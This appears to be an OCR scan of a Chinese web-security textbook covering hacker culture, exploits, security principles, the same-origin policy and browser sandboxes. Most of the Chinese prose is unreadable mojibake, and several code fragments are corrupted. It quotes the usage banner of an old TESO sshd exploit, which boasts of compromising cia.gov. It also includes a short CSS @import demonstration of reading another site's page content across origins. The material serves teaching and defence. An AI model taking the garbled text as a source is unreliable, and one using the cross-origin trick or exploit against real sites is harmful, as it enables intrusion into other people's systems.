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BNZ=HFR

HIMARE 24, AWA TR NG, TRMER A Z4e T,

1.1 Web Z&F

I, WV EHURGER S N, AR “Hacker”, AT THEHLARGATH RN 1 EE
fift, DRIHEAEAT AR B IL I8, “Hacker” 7R EHEIEEBE, BeFCh “ MR, fEitHNL%
A, BRI AR AR AN, LB AR RS IR B R SR, USRS
R Z SRS o

ST O ENLRG KU, EH P SRR ERIRZ root (administrator), & 2224 ik #H
AR RS B =AU . “root” XFEEE MG, AG I Z BRG], LT IR,

AR “root” MRS, ARLFEE . IiA AR RENE T B R TE X — H bR, #
FATE R A A, BERRA “exploit”. fEMRZHIHLFHL, AHR%, KRl EAER,
fE A Sz, JFS exploit; A IIAR%E, WU B A BHEOGER, X TSR 25 F
GFEEORI TR LR, DI R A B AR, B SR RATsh TRED, Xl B A 4
4 “Script Kids”, Bl “JIASN 7o FEBUSCHEF R, FOIEXE BB, AEAEIF AR IR L2 48 Tt
FUIRIAIN “FR%7 AT, MR LEAN 7o MAEA R B T SRR . M4 LaR+,
RN, I “JA DT,

111 FEEEFEES
FEEERRES I, RIS REEER T —4&R2 0Ok,
ERNPEEEZRRBESNT : JBEMNR. HERAR, BB,

HAEAR A SENAR, XA IRMEALTE 20 20 90 AEAX, oI v [l F) FL B 4 i Wi A Aek - A
BB, LRI N 175 4R 52 2 AR FHOR RN, THAWIT 2 il . J5 SR &
MR Z T NEUMGE X IE R, 4370 sRANAGE AL TR RERI B ), BEAATA
AR IR o XA 0 v [ SR A R ELIC Y, 2 7 ISR, DRI B 0 5 Aok [ 5K [ 0 e 4



R ZRG AL — A AR, MATISE R 5. B, R EERRGM, JFRCE T2 A O
BT -

PPAGE SN, XA SE BB RO R LH SN, BRIk
FIREAR— N 7 LIRS T AL BT HREK, 10 eIy R 2 P T 0 47 1) PR 2 SO DA SR R T
MRFIE TS | T TR T D AEE EIX AR TE R . HLEEAE, SR R AL S AR AR E .
SRR BU b B RR A, M (R RO, ATV T, FRIY, (HAEBOR EARVREAGE A
VRIS S R B UGS TR SR LS T aR THEL, RN DR PR AR I RIS A%, T
a5 BRI D H R BT s R M B I T e

f i SRR, XA BN LRI IR— B R S R, VPR AREE %o RN
MR UGt AR, PHETIK, KRR R A LB R Pk B
WHEFRAT I SRR BRI BB = NS, EGEMWH . A T BRI IR R o e,
AN AL AT IR I A SR R A0 Y

FERIAE 2 LK AR, PR DRIV BORIBGR . SR EETT A6 R, XA R kA
FEA S A LI 3 R IR K o TTAE B — NI AR AN B R RATT, L ERF TR,
WELL M Z IR B NA S AR LA AW STk B SRR Eme, A0 AR
SRIGECRBEN T 3o BRI I SR 2R DA DA BT Z T8 S AR AR C 2 AN TR A T IOM 70 25
(ORI, ok ORE K FR BRI BT DR FET

FEAF I ESBAE R B2 2, BRERCHC A G BUR AT M R 52 3,
DL BRSBTS, A A IR AT 1A BE B AN L I RR by BRI AR o A1/ SR 2R A BT AR 22 1) Open.
Free. Share, EI—FEAHIRT!

1.1.2 EBERRMELERIIE

MBEBARKSERMER, 5, BERBGERERURGERM 2. — T, £2HTX
AN Web 3R K R E I AN ) —J7 1, W Mo |Rge it RAl A
g HERI root AP, IXBUN ], JMILH TR 2 M2 iR LS “exploit”.  ELU2 44 1) B4
HHZ TESO, 4951t — ANt SSH 11 exploit, H/A9R7E exploit [ banner HE PR 48
XA exploit AR cia.gov (SEE HJutF R ).

R AR IX AN exploit! {2505 L,

root@plac /bin >> ./ssh

linux/x86 sshdl exploit by zip/TESO (zip@james.kalifornia.com) - ripped from
openssh 2.2.0 src

1 http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
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greets: mray, random, big t, shlfty, scut, dvorak
this sploit already owned cia.gov :/

ps.

**pl

ease pick a type**

Usage: ./ssh host [options]

Opti
P

ons:
port

-b baseBase address to start bruteforcing distance, by default 0x1800,

goes
=ig
-d
-0

type

1

1
f

w N P O

as high as 0x10000
type
debug mode
Add this to delta min

S:

linux/x86 ssh.com 1.2.26-1.2.31 rhl

inux/x86 openssh 1.2.3 (maybe others)
inux/x86 openssh 2.2.0pl (maybe others)
reebsd 4.x, ssh.com 1.2.26-1.2.31 rhl

AR S, XA exploit A M BEE LR CRZAE 2) .

JBOK B 1R S5+ 7] LU 1)«

W (R 2)

Ci¥-2

(e

7

Fai [ 2) AERTE 44 exploit



FERMAH BN, Web HIEE BRI EFRMNH, Xk, #&F SMTP. POP3. FTP. IRC
VMM IR ST E 4 K2 B P o DRI SR AT ] B B H AR S 4% . H0E R G0 DL R A
SR, Web 22 43k i) it S5 95 AR B AR Y Ab T TR AR FI R B

FHXS T ARLE Ly RGN exploit 5, T Web Xy, —BULRELLRR IR ML
AR, X BB I 5 | )z i AN I L By R A

EURINARAE R, Bl KRB MR 5028 T IR M 2 4R Sy o JEHOE LA Cisco 5%
AR I W4 )1 THUATE R 2%™ f b SN L R 26 22 4, B 285038 T LR R 22 A FRE )
Bk hg . ACL BORKINGE, (113 EAR AR R A KM _ BN RGAG 2] T IR

Bl APl IR 58 A, AEBOA ORGP IO T i P I 55 i o2 SR VAR BRI 15
FEAT T B kB pRd e, i ACL ] A R SEVRE ARV o XSRS AR AR |
TRIUE T RGRAE TSR 2 A, INITERZE T R 23 (B oK

2003 4 ol il s — A LR A A, IXANMEEXS Windows #1248 RPC JIjgs (G2
ATAE 445 3 1D (G AL, AEARFE RIS TR) A IS 1 4xER, 3R T 20A 7 G LSS B ge, 1R HfE L
ftifte FESLIRFIEIG, MZAEE AR AE T T4 BRI T 135, 445 S5 1 ISR
Ko WO )5, A BB T2 2R AL R T — A0 E

EET S PKES TA AE B, G R AE T AR Web g5 ok, H Web
BRI EAAELT Web N H D REBCKBGE K, fe 8o T HIRIM 300 SRR HDG,
WA 5 T Web IXHURERRE .

ﬁgi%i,ﬁiﬁ@%@%&%%ﬁ%ﬁ&%&,ﬁﬁ%%~4é%%%i,W%@%
Wb, REBEPERMEA, EREAZRNE RS H, — MRV EGTL, ZXEH
BAZERAR, FERAPERANEEFRZRAR, ARXNEEPEEGELRR, i
— AN R R RA, $AT shellcode, BF 2 TFTH—AARLFAM P S ZIAT, FIHY
AT 5 2 m ARG S B AR, 3B G IR G Office £ 5044+ . Adobe Acrobat Reader. % #L/k
PR EGRAFEAE R AATERM, G ZRA ZEMNGRE, 22X FrE,
Fo A Zit b6 Web AR R A EARG R A, PTARP4E R I &% 42 Web X400 EH
RN, AREAB T, HLRAIFTRR B A Web %A H £ 69300,

1.1.3 Web Z£rI¥iE

Web B BRI A ] LL2R h JLANEM B £E Web 1.0 AR, AATTEE 22 902 R R 55 4% i
ENAIA I A, L — DT HAT A (R FR webshell)  EALRINRSS &% L, ATIFRAGHL
B BHABIATE S0 L, B Web BRI FEYINIG 2 42l UA R I A AL T ER S “IZE” 17
KA, IR AR Z D S, Eeln PHP 5 AR LRSS U i A QRS IR AR %
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A ARSI, T TR T B A S AR 2 A D R

SQL FEARLILE Web 24 5 EH—A B, Ei IR AE 1999 48, FFRPU
18K Web 2242 K3k 5 KA. At A1 22 o DS HH BN —4F, R ST IANMSAN H AZR A 28 0
PP P AAAE IR . RIS SQL yEATTd:, I LRHUR 2 M. BURRIEdE, &
P RES T B AR ECR G5 AR, XA R I AN B BGT R 22, Web Bl h
AR . SQL IEANTH A58 L Web 2 43 il i) — 4> 5 2L R 70 o

XSS (EEul AT ) HHBLNE Web 224> 52 iR ) — AN LR . BRI, XSS ¥ H B
A1 SQL HEANZEAZ, (HEEIES R AMTEMNLEE M 2003 4FLLS. 480 T MySpace
) XSS Ui i), 22450 XSS BE M ESEm T2, OWASP 2007 TOP 10 gL 44t
XSS HEERG 1 -

FEBEH Web 2.0 (2%, XSS, CSRF 4EHi LAAAFHE N5 K. Web Zri i) S % -t AR
S5 1) T i, B ) TSR AN . SRARATR AT RIS B, G T Web IR AER
W, RAREI AL, XL, AEARAD RS FE Y SR A RS .

Web BORKFERISR, M T FEZRMEM . BIERPNESHED AR, WaEdd T
VFZHMIATE =, L Python. Ruby. NodelS 5%, HETF A ik HIBEM A E et 1 F
LB BB R, W4T HTML 5 4K T8 LB Bk . SN, Web 244K,
R B TR SR IAE AWt s A0 BT ) 22 40 o

1.2 g, g+

B AMEMATWI R, R AT 2 5y AR IS, TR HIE 7
KRR IR . FIR, NSRS 2 A BoR, (HR AR I BB AUk & AT M
PRIET, NG AR A AR R B e, EL A AT AR AR AR

FIFERE T4, AR R TR O e A .

XTI TR, REREBRBIRSN A9 al ST LUARINR R H s T
A okUl, DR EIRGEMPATIS R, AR, A RERIERGEA S ML, XM 252
1 TARAEL S TAE BRI R BT 2200 . AR5 oy ksl e A m kS, TR A
T LR PP ) 2 Az R, T T AR A SR SR BN A i s 20 PRIE I R R H 2
WNRRG, REDAITA AR S, DI RIE 7 R 2 DR, B AT A A —
wo VARBIE, AR 1o ) H e b AR AT SRR 1K) IO ) o

MO DR K F B, BRI TN T 58— IRNAR, /5 2R A Rl A [l e 1) 4 65 R 21
HK, AR 5 e A i O ARBTG5 o il R 75 5 7 2R
B, BRACHE AN, HECAAN SN AR [ L, P DA 5 i SRS AE AN BTt 23 it i)



R, PR R e (1 TR AT AR

SR R ARE R, 0 BBCT (1R T 10224 TAR L. “ DR AR LR 57, L
PRGN BTHEX R TVE? Mok, EIIE TR, v R iy
Vs AR YO Bt Bt MR SE, (R BRI R RS TN
51169 SQL Injection il i, {535 3X AN 7 ZE i St AL 3 AN, FBABAT 3 MG, BT 69 SQL
Injection [ #7551 T vk, th ik 20k P& 0 JE AT SQL Injection 1% — 1] AEA7AE K159 4
MRS T o RS 73X — 4, M4 FE FATE7E SQL Injection R BEXTHLH A6 3 b 3
AT

(HIX VIR BALRAS, (EBLSCHES R, A7 765 3 Fh A REAS T LB D R TR R 2
X413 : “No Patch For Stupid ! ”, 7E224 Ut il . “ BRI RN 17 BT
[RERE, 76 NS SIS0, BT fes LS A SRR AR 0, O B R 3 10 4
AR, FEIT A AR T R A SR, S, A AR R A AR E 1
HiJy

o3 Jr i BIEARAEAET 835 MR, Bk BORAEAEA . X g 574 3838,
BWEHIAEATI . O ARSI PRI 4 it b, SRR A TRIR X Briy fere . fEREAE S
AR LA, HEathe e Esh. TIRMEOR FOE H 7, AR BRI A g, AR IR
FZER R WHLIRE, WEARSHBARAE Tt % i 2 A Bk 10ih, PSRt R ¥ Ja T
BahiteR, S8 LARhES .

1.3 REFJE, BWEZ=0IRNER

PETARZ AT, R PI RIS L. XA UF Web a4, AR T UM 21
WL BORIGEZ A, e 28 F0 I 1 ERAE B 1 S R SEBL R BOR 1.

FEREAT BARER PR 2 AT, AT i RS “ 22 2R Am”, s ¥, “ 24
EEHGA-\ S8 ”o

BASAT A AT ARG E 277 R R A R BATE TG 2 a8 HA R A
TR HEAI R, A RER A VIR BOR I A i, A BEW] A A BAT T KR, 2
FEA

RPN, — DNIERE T, ST E BB AN AR, 53] T IREBEAEM

Hift. fERANUIR, EHUMTYAT ZAMAR, BIFHLYEAT “BIAL), K FRIT
AR, IFUAL 5 J N BLHS T LABSRANIAT, BP0 15 4Ty S Al LS TR T

WA, —Aai @ W AR ? BATATIE MBI AT Kl FUzHE, 1
FEAVTRIEXIRREZ AT, #A DR efE, Pl gems, SEmfREm
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ITZH, Mt S LR AT KL, TR SE IR . S, X R,
FoT e A ER . BRIARTE. BOE TR, L g, WAk, K
HESEFRRENN a2 ar. DI, WU A m BERBUBON R S0 DX, AR A7 18 5 (1 i
HANAZRE NI — X3k HIEENEX— Hbx, BEHATN 2 e A N ERAT L 210K,

AR, ARG AN [ B SR (1 DX el 23 H Ok

A A
@ A Ao
Ao A .‘
AA. A

LA A N I R I i AT 1L 0

WA aeE o, @) MRk, wTURBRAI NS, AR .
K73 BRI BATANFUS AR GO I DK, BATRR AR, R 73 AR AR W R 5y, B
(RO SAEHRSUR S

Bt AT SR I AR AT ) IR SR RO R AR, AT AT 2R A e MIREEZLR)
R ARSI ) R A RIS AR, W RS R .

FAAEN IS 2 A, AEMARBLT HOR, AN ZEAh A s (ER AREFE [ B L) T
IR R i GGG o0 A I I3 S B e

EHNN, ZENBHATR;E R E.

U AT g AL, A AR AR R R BATLAAAE —LE ARV, AT
BRI B, KT RA RS LV WERBRATEE V), AT Ea s a2 K,
TR, Tk, WIS K.

ZEBISRAR, BB BA AT O AR B (0 SO B A DR AR OR  REARVE (K ANy S S “
P KRS TN EA MR, O, SIS T aT MEAR, AT A
F - JEPRE s LU W LI A R A lifieske a1 fa, PIRLE D IE R
FE— AR RHTT, BE AN . 2, WERBAT—DIEAMELE, A
WA T BE A SO TRCAE Al it L 224 (1

B TIEJCEAT IR, SO A e 4, IR R BATII B TR 2 — o (HZ I AIRA
T AL F A HEPIR, IS A SO AN 24 T o XA M AE IR REE, AT XT T



T IRAEAEREE . WERBAMEAE LI, IBALERXMER TR I, JA T e ST 2 4t X
TR, S REAT AL, B X B 15 22 A A JE Al

FEBLSE AT, BA R D B AR et AR AR A 1, DA DA Ao PR A PR AR R /B BL K
P, DRIMAE ASA BRSO, JRAEAE oM AR Bk 2 47 %8, JFHs— el etk
IR ZRATAE D PSR 1 2 AR

FAnFE B v B 22 42t RIS R LR B L AN R I BUA NGRS, TEFEEE K. HE.
i AEN R . (BRI BRI, AR T RENE, 5 2 AN R RO A
LA KIERAL s 2558 & KUK AT ZE U WA AR S b s RIRFIREERE, 72K REBRCREEE X, %
JE L (10 AT 35 0 2 H R e PR RS o T BR i (O 1 DL L . 0 B T R S o] PR AERIL G AN 52 37
Mg ” (i, A AER I, D R AE R AT RETER /N o

M3 PR, — BBAE SRR A MR TR . pigeid, At S 4 i
BRI AE, AR M. P, SEREEEAINE, SR, E2
B L AT R RUITAE, B2 24X [ 12410 (1) SR T I«

1.4 REBRHKIS, SEIR®E

FEfR PRz A R LR, ANATRE 257 KIR, Rt il “ B R,

—BORE, AT R S ARV RO A SR RS LRI s Ty 224, IE
s FRRIA AR, T HJE iR A BRI AT AT NAREL — S5 7Kk i vk 22 ax T, #8)m T —
MR, 2 “AckAac”, AL,

RER—AFENERE.

FNFLIRRIAT T 2 ax ) AR, BCeh A5 A8 5 A A E AW A MO B 10 R A3 21 AT
M ER G, AR — IR RS — 07 7RG (R WE R EoRAE e — YT et sl s A
PR, WA RERIZATRL, I T 2o KRB IR KM I, BCh B AL A T
B, P AR ARIE R R o AP 8 T BOS TN A FE I B iboAR, il 1 %104+
ROV R . AEZA R, B,

R 2z ax) FAEHERS B O i, e I s SEARSE A i P, PRl AT 67 I P
ARE, WSKZJE I T DU 2288 1. (HSPs b, 2™ A G B EEARh T, B
ANKIEHE o 7= i A B Wl B AP R IR, 75 Wt St IR o AEBLAH LI = e
HENTH R RE T O — MRAERCE,  — AT I fh SO S AW S 5 5

ORAE K AR Vista I, WEE 0 H RIS L LR 2R G. BATES T
WIS J7, 4F Vista I 8244 ) RURf 52 LE e A R 22471 ( Windows XP . Windows 2000 Windows 2003
) T, LSRRG RN . HEMEE, 7F 2008 FEFK) Pwn2own 353 b, Vista (4R
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B . Pwn2own SE3EE BEERAT L R EBAMER B RAE RSNk, — R %
MI#R B AT HER I Oday He il (I REY,  DSRAE Pwn2own b 2825 ik

MREATHEAWT AT TN - HOBT I BGRBOR, AEABIREII—J7, AT B AN SR . TR
USRS i I 2 A BOROBLS, JUPTHESR I Z A 0T AiRe, K 2 ek ot g TH AR AF
At B, R S, UM A IATINIE S o XPRE AN, AR SRR S
A A, REWEE T A5 R BNMER G R DT . 024 2 A 5 5 ZEAN T B
Bt SN ExEr RE By ARAS AT 5

1.5 #T+==FT=x

BEAR 224205 S BV S I R vh BT AR R, e MR SEEAT LR, B ABA %W
T aGNE? Fse 224y RO A — € BB S AT, A BXLE A, R B AT
(8, BT S EL MR

DUMABAE R AR BEREIA , NI A 1 e ax il il e BATTR] OE I A5 Ak i o0 o A5 AR 5 (1
s KK B AT AL 1 o IXAN R AT DLLE AT H AR, R R Rz B 20 ?

FEBO AT SR, BRI Ay 2 4 )

LAMMIANR D2 e R, RAMTIRZFINE, (HE G EAR 22 B A s k. /i
NI TR, Brl L e a R g L =25, ik CIA

YA BRI LRIIERANRICE, HMAEHIE Y (Confidentiality). 523 (Integrity)-
AT (Availability).

BB R AR B A e B, I e SEELP LS P R 1 LT B

ECAAE R SO 5, RSO AS R e R i 2L, TR TR MBI B T, A
BRI BRI, BB SIS G 7BV, SO R eI NG 2, Bl
AFFEHUENEER o AESE WSS SO N — AN, #Eas 7SO, IR A i 2 T K
ML, AL T L TEER . nTI, BRATEE S A7 R, W B ARG A0, e, %
A AERITT %

ST I SR R Bl N AR e B B REEL U . LI PRAE — BRI BOR T B 2y
XA,

Y2

FUUR WIREER 2 A7 (I, SR AR DU, A2 DU BT RF ) AR 2 T A,
T ATV W HARAL UL IS, fEfd b, XRX K R R R B IL 3
SEREMEEOR . WAL N AT EBOR, BURBARAER LS. WA bt n] DU 4L
P e stk . — SR E R .



F1E RMZEHIEN 1

AR ZOR RS BEIE “BET TS

R MTEEIHEA 100 N4, EIEFHEO R, LU 100 4. (H2EER—K, A4
WA T 100 ek fsk, AN EMAMEH T, EELETFRME TR RS . £t
X Fh B i 46 IR 45 2, fRIFK DoS (Denial of Service). #5460k 45 B I8 16 & 22 4 11
Al

FELZAIURA, IRFEANERPLX A, R N e XS8R, 8 7 B e &
TP AATHOBIE LS, (Hfdn B 2 DL B =AM 5 TR e 7 RN, DX =AM
FONFEAR A AT, 254 T R 2% B IR0 e el A

1.6 UWHISEhERZ =G

AT T HIT R ERY, FATH AT LUE TR BT IR il 1o AVl Re, AT
LA sy 0 4 N BL: B84 905r . BT KU AT s iRy % .

P J

L

B b7 l

J

~ ]

L
e ]

A I

—BORL, AL RX AR S 2 A PR, AR R E A BB . XA SR i
FE BRI, BTJE Z AT IR OC R .

R IR e — AR RS, B ANGZNS— DM BOT At A h LI %
A PIIILES RS, A AAT L8 BOrT LRSIk AR Beh, BN Bevue
oA B AR, SR AR .
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1.6.1 B\FFELZX5
PR RN T E LAERSERY, XTI L AVERERE 35 BhIRA T H An AT 4, BRYYT 4.
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<html>
<head>test</head>
<body>

<script>
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KA —ANEFH PHP B2 06k, A2 “E—FHARAAG AL R E— MR
A1), ARIR A B E R T ARG RAD, A “E—DREIEGZE” RIT X AR KA,
Mt FBORIR o X GTARAE R AR B, R R R AR AR R 0 F A,
C &= string A 0 FHALRE, o BZFR BRI 2 a0RE, Fr 2L
REZTT, XPHPHLAFEH, XKEAET!

F AT PHP HEEALH , 42 C 152 A AR RN, RATAX LI, deZ 5477

1o BIFHAR AR FEE, ELR? BRAZARDHYNOEFT?

No! % J it 3844 7 @ 4n iRt B 5 B iz dmih, AR IELIERAA PR E L, shig
B R R A B AR R — A (B RAEEAAY 0 B RN ), BTl sL AR A A X R
ARF, 2R T R E F AR T, RANE R A AR TG owner,

B3ty 2, PHP BA EZMIEL SFD 4. B ARG, 4T FHbRpART XA
TAE ( BRAT XA —AMRRITHG SR IAL ), AXGRRALEGENREE LT —Aa5, {2
A BN RENMHA R, cgifix_pathinfo 89 1A% RE RS HKIAGE , 127 fastcgi 49 PHP
JL R BN TR P, PHP B 55 RBHINA X R —MEFHIRE, ) a5 RALS
5B SAREAY L RN, AR A R SR 69 B T Ak

PHP ZE FTH P& %6 Web FLEZZ—, RARAMNHLLRGRA (XAAZI X
BB ), FHAGA B RS LMITRIE RS (A3t T — 3720097475 2 &9t ). £ PHP
RATALRGEME, S AREMNZZEARNEL S, LRRERAALZXL S0%2RM, £S
BB ERT, REZFMAERLZ “RRAT, RAAEE,

BAVTAFRILE], EARELIHEM LT, UL REAE S EHReGs 7 X B,
AL RAGEF S0 RAE “Thik” M AE, TRIFFE.

BE, LR 2AERT, BFRAEZHRME is a0R—/NRA, mAESE, EILA
KRk K7 RAVR KRB I R A4 FLE 4 A7

T atgFokit, RNITWTHMEM, B—AFHM, ZNTAERE E@#ER, TAE
i RAFOORAIE FARIE (FE L, PIANRAFIARRX 25 E, RAE2A R R AT T
EX), /27K PHP £R kEANTZAFM, FAEZEILZRE,

BTW: is a() & a P M2 ¥R T CVE, 4R R H&EIL, security@php.net 4,245 iX
AN, FTAELER—NRRFEGRAT .,

4 http://www.80sec.com/nginx-securit.html
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XSS

UTAEORBHAT TP B A JE AT AL S A 2 TR B KA T, 2R 22 R P A H]
R TR D s o PR B T 3 P 38 4t HlE AL

T 38 2 AR X B ALE P AT h OB 2 I N BT AL . — I, S Es R A2 —
ANE R, WEREAE T ZAeThRE, BT DR AR ERGE BRI RS ERT 5
I AL R LA e ot (N5 SRR o TR e ol 1 e 1 R} i MRV U0 I DR 2= U 2 B e g <
SEBORTTHE, PRI SIS

DRI £ K Bt D0 B s AR AN BT BT, 300 D s 22 AR D RE AR Pl K. AEA R TR, 3R
AR 4 — 28 3 E A b a2 4 T e

21 [ENR=RES

[FJYE5%mE (Same Origin Policy) J&—Fy5E, BN Et% O RIEARN 226, W
SR D T RIS SR, DI S IR 1E S DB ] REAS S BIRE M o T DL Web A4 EE AT [R5 S0 1)
Fefiiz B, PSS FUR BT R YE SR ) — Fh SR

T2 P Web 224 5 2] S 0ol 1, IR N BRAR [RI5 Sms 2 AR B, e e sk
A o AR 22 I W0 2% ST [RI 5 S mes 2 Bk . 3 IR, AR 22 DAL Dk [R) 5 Sk mes 5 S50 n) f 5%
AR AR, R YR SRS, I RT BE— B ARAN B ) S

D28 R VRSRRG, BREI TSR B AFVER “document” ZRIHZAS, *F4HT “document” iE
B Ek i B LR

X — SRS B L, AR W I AT (R SRS, W RE a.com [1)—BX JavaScript JAIAS, i b.com
AN LA, o] DABE R b.com I ULTHT (AERIBERSI R ) i TANIER 411
VUHIAT Ay R AETREL, W BE4E T “Origin” () X—#t&, K EAIA Origin (%) % JCik AR
T4

XF¥- JavaScript AWt , LA R AR HLHIN A 2 [R5 AN FIE T
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URL Outcome Reason

http://store.company. com/dirZ/other, html SUCCess

http://store.company.com/dir/inner /another.html SUCcess

https://store.company.com/secure . html Failure Different protoco
http://store.company.com:81/dir/ete. html Failure Different port
http://news.company.con/dir/other. html Failure Different host

W YA 1 JavaScript R [RIE SEME (24 JavaScript B% X0 A8 A K B AN RISERS, 1SR4

M FRATLLE Y, 5m “JR” IMRZEEAT: host (A EK IP Huhl, fWifs2 1P Mk WA fig—
RIS A S E L PR

TR R, ST MBIk, DU A AR JavaScript ORI AEE, TR
INZ; JavaScript T IH FTAE 32414

=2, acomimil bl FACRD:

<script src=http://b.com/b.js ></script>

n# T b.com L) b.js, {HE bjs AIEATLE a.com ULIHIHP, PEISEXF 4 H1FT IF9 UL (a.com
UMD SKik, bjs B Origin 3N % & a.com IM3F b.com.

ZEDTge R, <script>. <img>. <iframe>. <link>%5hR25H#n] LABS N P56, A2 [A)
P (R R X LEAE “sre” BPERIFRAEREIOMEBINT, SERr b v Was Ao 17—k GET 1
Ko ANEF XMLHttpRequest M, I sre JEMEINZ TR, WA PRI T JavaScript FRAXFR,
AR SR A 2.

XJF XMLHttpRequest K3, ‘& AT EAV7 il K B AT RN 2. Eotn H 6

<html>

<head>

<script type="text/javascript">

var xmlhttp;

function loadXMLDoc (url)

{

xmlhttp=null;

if (window.XMLHttpRequest)
{// code for Firefox, Opera, IE7, etc.
xmlhttp=new XMLHttpRequest () ;
}

else if (window.ActiveXObject)
{// code for IE6, IE5
xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP") ;
}

if (xmlhttp!=null)
{
xmlhttp.onreadystatechange=state Change;
xmlhttp.open ("GET", url, true) ;
xmlhttp.send (null) ;
}

else
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{
alert ("Your browser does not support XMLHTTP.");

}
}

function state Change ()
{
if (xmlhttp.readyState==4)
{// 4 = "loaded"
if (xmlhttp.status==200)
{// 200 = "OK"
document.getElementById ('T1l') .innerHTML=xmlhttp.responseText;
}

else

{
alert ("Problem retrieving data:" + xmlhttp.statusText);
}
}
}
</script>
</head>

<body onload="loadXMLDoc ('/example/xdom/test xmlhttp.txt')">

<div id="T1" style="border:1lpx solid black;height:40;width:300;padding:5"></div><br />
<button onclick="loadXMLDoc ('/example/xdom/test xmlhttp2.txt')">Click</button>
</body>

</html>

{H XMLHttpRequest 5 2| [FIYE M 2T A, ANREFS IR UG ) BE  7E AJAX NI TT R rhot

o e
HFEEFEIX— .

Wik XMLHttpRequest REMFEIT M) TR, WIn] GEss 33— Leuscidia it #% ,  Lhlr CSRF
HJ token, M SR A= 224 ),

B2 BRI TR, B 25 I R R, i sk i) 75 Skok aa ), IRtk wice & s
i€ T XMLHttpRequest #5307 i) hrdt . & 75 2200 i H AR0R B HTTP SKRAZAUE R RS
i), A HTTP SkttT- JavaScript KUt — M2 JLiEdE M, B LA A XA 7 0] LS )i -
TERG: XA ) 7 R A SRR S AT “JavaScript ToVEES % HTTP k7, W ILA5 (T
FERIBEATRE, T R AT 24

WA, . COM v, b, com

test. html Origin test. php

hecess—Control-Allow—Origin

=

IRy ) 1 SR
AR SEBLLRE, A “HTML 5 24 —Brp s gRainint .

ST 2ok, BT DOM. Cookie. XMLHttpRequest 235 31| [] Y5 S m& (U BRABIAN, 350
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A A — LU 8 =7 AT S B R SN o B LA LB 4G 4 Flash. Java Applet.
Silverlight. Google Gears 25 #8147 [ O 44 il g o

A Flash %1, ‘& 325k Hbr i3 1) crossdomain.xml SCAHIW &7 AV 411 “ I8
) Flash #5315 7] H br B85 o

PL www.qq.com [ SERE SO A1, 4300 Vs A AT Al s ) TR L AR T Flash J5, @R
X www.qq.com A #L V5 A1 3K, Flash 236K 2 www.qq.com [ Sems SCAF S S AEAE . R S ff:
AEAE, WIS A KBS SR IR U2 A ARV v Y 7Y o

C O wwr ! domai 1
@ .qq. com/eressdonain. wn

“<crozz—domain-policy>

<{allow-access—from domain="+, qqg. com” />
<{allow-access—from domain="+*, gtimg. com” />
<fcrozz-domain-policy>

NIV

www.qq.com [f] crossdomain.xml 31

FERXAN RS SO, HATK A *.qq.com Fl * gtimg.com I ITTE K& W RPN KFEIXFH
73, M Origin FIJZ M L340 T Flash 47 4 1) 22 41k

7 Flash 9 I 27 JG AT, IB5ZHL T MIME £ 2 LU A crossdomain.xml J& 75 5¥%, b
WA RSS2 [F] HTTP Skf#) Content-Type J& 5 /& text/*. application/xml. application/xhtml+xml.
IXFEROR IR, 2 R A M 5 nT LLE I FA% crossdomain.xml SCAF#5H Flash (4T 4, Seid A4
HFil& . F& T MIME K5 4), Flash A< 2 crossdomain.xml 2 G7EMR Hx N, tHalLI{lifg—ib
AR SO B R AL

SR B2 (1) [R) Y SR A F R 2 AN T HE () R 42, TSIl B — L), — o) WE2R 1
YR SR A 8 8 2 kit Lol Fimix A 1E 8 1) CSS #5 i i .
www.a.com/test.html:

<body>
{}body{font-family:

aaaaaaaaaaaaaa
bbbbbbbbbbbbbbbb
</body>

www.b.com/test2.html:

<style>
@import url ("http://www.a.com/test.html");
</style>

<script>
setTimeout (function () {
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var t = document.body.currentStyle.fontFamily;
alert (t);
},2000) ;
</script>
7t www.b.com/test2.html 118 @import M%7 http://www.a.com/test.html 24 CSS {4,

EQBE N M FT U DOM, [AllH#E Y document.body.currentStyle.fontFamily 15l P 5. i) @t
KAAE IE 1) CSS Parse [t e, IE ¥ fontFamily Jim i (9 P 252445 7 value, M) PLIZEL
www.a.com/test.html 1) T2 [ N 2% .

/" http:ffwww b.comftest? html — Tindows Internat Explorer
e

I - htip: b. com/ testZ. hinl
A, |g, i fwww. b, comftes m

| ZfrE WRE) S50 W@k IE@ BB
5 e & http:/fwww. b.conftest? hinl | |

¥ EHHRRHE X
' EEEEEEEEEEETEE:]
-5' bbbbbbbbbbbbbbbb

A bodyr

7E www.b.com TE2UE] T www.a.com ¥ UL TH P 2%

FATATSR ], H<script>2F bR RE MBI DL, HARE. BREKARE, X ME
R B % B S TR A 2, DRI SeId T RIS SR, Rk — A R

1 A 8 D S 0 A S 22 A (O, /AT S A PR BV 2 ) S A e o,
SR IV, DR B R A R T e AR S A T . TR L
BRI e, A d AR T TG 5L, R 25 0 T RIS B 52 1) 2 4 J7 2S00 2 22 L
2.2 XZSB/DFE

BT 7 i (R B AL RO B R

20094F = F 4 SRy R E H E

35000
30000 |
25000 |

420000

315000

#10000

& 500 |

1]

ST SIS R TR S SRR SRR T, SO R
e gk gl
FSELFLS S S BN

2009 LEAAE 4 5 W kR ol E A K]
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XA P GO A BOB A, R S A TR S AR B Uy 3G, AR T
RS “HL 7,

CRHETL Y RSSO A R . AR, ST T ORER A2 AN, WA R
MR B FE L5 IR O T — et prE S R AR .

EbifE Windows R4, W25 1) 454 DEP. ASLR. SafeSEH “5:1FE R4 3Bt fa "
FAR, SPAAERGT. SRR, WA IRk R T 23RN, W aetE B TR K.

D VLA 1 22 DERESEAA, B W28 15 N DO REAR R ) TF, B AN 8 s 7 FF, 24— AR
S, AN s B A ) 2R

Google Chrome /& 55— AN KHUZ HERE BRI (130 % 8% . Google Chrome (1) 1B HERES> Ay I
AR bR . VECERE . FROFERE. YRR, SEAFREREGD flash. java. pdf 555N A RERE
FEBHE, AN BAH I

OS-level sandbox
OS/runrime exploit barriers
OS/runtime exploit barriers JavaScript sandbox
browser kernel web content
- ntrusted
(trusted) IPC channel (@ )
browser kernel process rendering engine process

Google Chrome 112244

TEG 5% 1 Sandbox FF 2T, W AR 2L 5 0 Va9 I A REEAE . S5 E RGOl AR T 2
1L IPC channel, 7E A &R T 222 240 A,

Sandbox HIVPAE, THHENIEARKRER4 R, Sandbox LLEANAZHE “ BHUEMA BB 1)
AW Sandbox MIBEHFH K B2 A T ibA RS MAEIBATAE - E MR, REIARTE
AR 7 1) [ 11X 2 AR B R B Sandbox 14 57 AR M e A, WA e Fi
